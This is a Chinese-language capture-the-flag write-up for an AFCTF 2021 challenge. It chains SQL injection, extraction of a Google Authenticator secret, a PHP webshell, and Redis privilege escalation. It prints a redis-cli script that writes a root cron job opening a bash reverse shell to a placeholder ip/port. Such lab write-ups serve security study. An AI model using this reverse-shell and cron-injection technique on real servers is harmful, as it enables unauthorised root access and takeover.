[AFCTF 2021]google authenticator google验证生成 redis提权
今天学习几个知识点。进入页面发现登录框,扫目录没发现有用东西,弱口令没用,那就是sql注入,试试看。万能登录试试发现回显有东西。
进入去看看。
发现了个这个东西,去搜搜看。
找到可利用的东西,且给出了用法,但是我们不知道secret,去数据库里看看。报错注入发现users表,列名为id,username,password,otp_secret,可以想到otp_secret可能就是我们想要的,但是进行下一步使发现这个列名可能错了,利用substr去试试。
得到正确的列名,直接试试,因为数据过长,所以还需要使用substr来进行截取。利用base64解码得到secret为IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB利用上边的脚本进行解密。利用在线编辑器直接require_once会报错说没有那个文件,直接将文件内容全部复制和脚本放一起跑,得到code。
将code输入到刚才能输入的界面得到955437022c63d658b5dda45d33692b9f.php,进去发现源码中有一句话木马,利用蚁剑连接。在目录没找到flag,去看看有什么进程。
发现redis,要想到redis提权,因为有三种方式,但现在不知道是哪一种,看看wp发现是设置定时任务来反弹shell。过程就是先反弹shell,进入redis-cli设置定时任务为root身份反弹shell,再次监听另一个端口,来达到获取flag。
可以看到普通反弹是没有root权限的,进入redis-cli设置定时任务。
点击查看代码
redis-cli <<-END
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip/port 0>&1\n\n"
save
END
总结:
-
报错注入,注入回显长度限制
-
google验证码的破解。
-
redis提权
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通